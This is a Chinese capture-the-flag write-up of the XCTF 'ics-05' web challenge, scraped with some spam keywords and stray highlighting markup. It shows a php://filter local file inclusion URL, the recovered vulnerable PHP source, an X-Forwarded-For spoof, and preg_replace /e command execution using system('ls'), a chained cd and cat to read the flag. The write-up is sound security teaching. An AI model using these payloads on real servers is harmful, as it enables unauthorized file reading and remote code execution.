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企业网站建,百度官网app下载安装,火车票网站建设多少钱,商场网站设计题目来源攻防世界web高手进阶区ics-05（XCTF 4th-CyberEarth） 1.拿到题目以后，发现是一个index.php的页面，并且设备…没有显示完全，此位置可疑。 2.源代码中发现?pageindex，出现page这个get参数&#xff0…

题目来源
攻防世界web高手进阶区ics-05（XCTF 4th-CyberEarth）
1.拿到题目以后，发现是一个index.php的页面，并且设备…没有显示完全，此位置可疑。
2.源代码中发现?page=index，出现page这个get参数，联想到可能存在文件包含读源码的漏洞，尝试读取index.php的页面源码

通过php内置协议直接读取代码
/index.php?page=php://filter/read=convert.base64-encode/resource=index.php
1
2

LFI漏洞的黑盒判断方法：
单纯的从URL判断的话，URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞。
此处，因为源码中有提示?page=index,所以读一下index.php中的源码
3. 在这里插入图片描述进行base64解密

<?php
error_reporting(0);

@session_start();
posix_setuid(1000);

?>
<!DOCTYPE HTML>
<html>

<head>
<meta charset=“utf-8”>
<meta name=“renderer” content=“webkit”>
<meta http-equiv=“X-UA-Compatible” content=“IE=edge,chrome=1”>
<meta name=“viewport” content=“width=device-width, initial-scale=1, maximum-scale=1”>
<link rel=“stylesheet” href=“layui/css/layui.css” media=“all”>
<title>设备维护中心</title>
<meta charset=“utf-8”>
</head>

<body>
<ul class=“layui-nav”>
<li class=“layui-nav-item layui-this”><a href="?page=index">云平台设备维护中心</a></li>
</ul>
<fieldset class=“layui-elem-field layui-field-title” style=“margin-top: 30px;”>
<legend>设备列表</legend>
</fieldset>
<table class=“layui-hide” id=“test”></table>
<script type=“text/html” id=“switchTpl”>
<!– 这里的 checked 的状态只是演示 –>
<input type=“checkbox” name=“sex” value="{{d.id}}" lay-skin=“switch” lay-text=“开|关” lay-filter=“checkDemo” {{ d.id==1 0003 ? ‘checked’ : ‘’ }}>
</script>
<script src=“layui/layui.js” charset=“utf-8”></script>
<script>
layui.use(‘table’, function() {
var table = layui.table,
form = layui.form;

    table<span class="token punctuation">.</span><span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">{</span>elem<span class="token punctuation">:</span> <span class="token string">'#test'</span><span class="token punctuation">,</span>url<span class="token punctuation">:</span> <span class="token string">'/somrthing.json'</span><span class="token punctuation">,</span>cellMinWidth<span class="token punctuation">:</span> <span class="token number">80</span><span class="token punctuation">,</span>cols<span class="token punctuation">:</span> <span class="token punctuation">[</span><span class="token punctuation">[</span><span class="token punctuation">{</span> type<span class="token punctuation">:</span> <span class="token string">'numbers'</span> <span class="token punctuation">}</span><span class="token punctuation">,</span><span class="token punctuation">{</span> type<span class="token punctuation">:</span> <span class="token string">'checkbox'</span> <span class="token punctuation">}</span><span class="token punctuation">,</span><span class="token punctuation">{</span> field<span class="token punctuation">:</span> <span class="token string">'id'</span><span class="token punctuation">,</span> title<span class="token punctuation">:</span> <span class="token string">'ID'</span><span class="token punctuation">,</span> width<span class="token punctuation">:</span> <span class="token number">100</span><span class="token punctuation">,</span> unresize<span class="token punctuation">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> sort<span class="token punctuation">:</span> <span class="token boolean">true</span> <span class="token punctuation">}</span><span class="token punctuation">,</span><span class="token punctuation">{</span> field<span class="token punctuation">:</span> <span class="token string">'name'</span><span class="token punctuation">,</span> title<span class="token punctuation">:</span> <span class="token string">'设备名'</span><span class="token punctuation">,</span> templet<span class="token punctuation">:</span> <span class="token string">'#nameTpl'</span> <span class="token punctuation">}</span><span class="token punctuation">,</span><span class="token punctuation">{</span> field<span class="token punctuation">:</span> <span class="token string">'area'</span><span class="token punctuation">,</span> title<span class="token punctuation">:</span> <span class="token string">'区域'</span> <span class="token punctuation">}</span><span class="token punctuation">,</span><span class="token punctuation">{</span> field<span class="token punctuation">:</span> <span class="token string">'status'</span><span class="token punctuation">,</span> title<span class="token punctuation">:</span> <span class="token string">'维护状态'</span><span class="token punctuation">,</span> minWidth<span class="token punctuation">:</span> <span class="token number">120</span><span class="token punctuation">,</span> sort<span class="token punctuation">:</span> <span class="token boolean">true</span> <span class="token punctuation">}</span><span class="token punctuation">,</span><span class="token punctuation">{</span> field<span class="token punctuation">:</span> <span class="token string">'check'</span><span class="token punctuation">,</span> title<span class="token punctuation">:</span> <span class="token string">'设备开关'</span><span class="token punctuation">,</span> width<span class="token punctuation">:</span> <span class="token number">85</span><span class="token punctuation">,</span> templet<span class="token punctuation">:</span> <span class="token string">'#switchTpl'</span><span class="token punctuation">,</span> unresize<span class="token punctuation">:</span> <span class="token boolean">true</span> <span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">,</span>page<span class="token punctuation">:</span> <span class="token boolean">true</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">&gt;</span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">&gt;</span></span><span class="token script language-javascript">
layui<span class="token punctuation">.</span><span class="token function">use</span><span class="token punctuation">(</span><span class="token string">'element'</span><span class="token punctuation">,</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token keyword">var</span> element <span class="token operator">=</span> layui<span class="token punctuation">.</span>element<span class="token punctuation">;</span> <span class="token comment">//导航的hover效果、二级菜单等功能，需要依赖element模块</span><span class="token comment">//监听导航点击</span>element<span class="token punctuation">.</span><span class="token function">on</span><span class="token punctuation">(</span><span class="token string">'nav(demo)'</span><span class="token punctuation">,</span> <span class="token keyword">function</span><span class="token punctuation">(</span>elem<span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token comment">//console.log(elem)</span>layer<span class="token punctuation">.</span><span class="token function">msg</span><span class="token punctuation">(</span>elem<span class="token punctuation">.</span><span class="token function">text</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">&gt;</span></span>

<?php

$page = $_GET[page];

if (isset($page)) {

if (ctype_alnum($page)) {
?>

<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>br</span> <span class="token punctuation">/&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>br</span> <span class="token punctuation">/&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>br</span> <span class="token punctuation">/&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>br</span> <span class="token punctuation">/&gt;</span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token style-attr language-css"><span class="token attr-name"> <span class="token attr-name">style</span></span><span class="token punctuation">="</span><span class="token attr-value"><span class="token property">text-align</span><span class="token punctuation">:</span>center</span><span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>lead<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span><span class="token prolog">&lt;?php echo $page; die();?&gt;</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">&gt;</span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>br</span> <span class="token punctuation">/&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>br</span> <span class="token punctuation">/&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>br</span> <span class="token punctuation">/&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>br</span> <span class="token punctuation">/&gt;</span></span>

<?php

}else{

?>
<br /><br /><br /><br />
<div style=“text-align:center”>
<p class=“lead”>
<?php

            if (strpos($page, 'input') &gt; 0) {die();}if (strpos($page, 'ta:text') &gt; 0) {die();}if (strpos($page, 'text') &gt; 0) {die();}if ($page === 'index.php') {die('Ok');}include($page);die();?&gt;</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>br</span> <span class="token punctuation">/&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>br</span> <span class="token punctuation">/&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>br</span> <span class="token punctuation">/&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>br</span> <span class="token punctuation">/&gt;</span></span>

<?php
}}

//方便的实现输入输出的功能,正在开发中的功能，只能内部人员测试

if ($_SERVER[‘HTTP_X_FORWARDED_FOR’] === ‘127.0.0.1’) {

echo "&lt;br &gt;Welcome My Admin ! &lt;br &gt;";$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];if (isset($pattern) &amp;&amp; isset($replacement) &amp;&amp; isset($subject)) {preg_replace($pattern, $replacement, $subject);
}else{die();
}

}
?>
</body>
</html>

得到源码后开始审计

//方便的实现输入输出的功能,正在开发中的功能，只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>br</span> <span class="token punctuation">&gt;</span></span>Welcome My Admin ! <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>br</span> <span class="token punctuation">&gt;</span></span>";$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];if (isset($pattern) &amp;&amp; isset($replacement) &amp;&amp; isset($subject)) {preg_replace($pattern, $replacement, $subject);
}else{die();
}

}

此处存在preg_replace函数，尝试测试是否存在命令注入漏洞
函数作用：搜索subject中匹配pattern的部分，以replacement进行替换。
此处明显考察的是preg_replace 函数使用 /e 模式，导致代码执行的问题。也就是说，pat值和sub值相同，rep的代码就会执行。
XFF改成127.0.0.1之后，GET进来三个参数。这里调用了preg_replace函数。并且没有对pat进行过滤，所以可以传入"/e"触发漏洞,触发后replacement的语句是会得到执行的，首先执行一下phpinfo
在这里插入图片描述执行成功
然后使用system(“ls”)尝试获取文件目录
使用cd进入目标文件
system(“cd+s3chahahaDir/flag+%26%26+ls”)
为了避免编码问题，此处不能使用空格隔开，而是使用+，%26%26为&&，意思是当前面命令执行成功时，继续执行后面的命令。
在这里插入图片描述最后使用cat命令获取flag.php中的文件
成功获取flag。

总结：

思路建立：
1.由?page=index联想到可能存在文件包含读源码的漏洞,使用/index.php?page=php://filter/read=convert.base64-encode/resource=index.php获取index.php中源码
2.读取源码后，进行代码审计。发现存在preg_replace函数，尝试利用命令执行漏洞，获取到文件目录，最终找到目标文件
3.读取存在flag的文件，得到flag。
主要技能点：
文件包含漏洞
PHP伪协议中的 php://filter
preg_replace函数引发的命令执行漏洞

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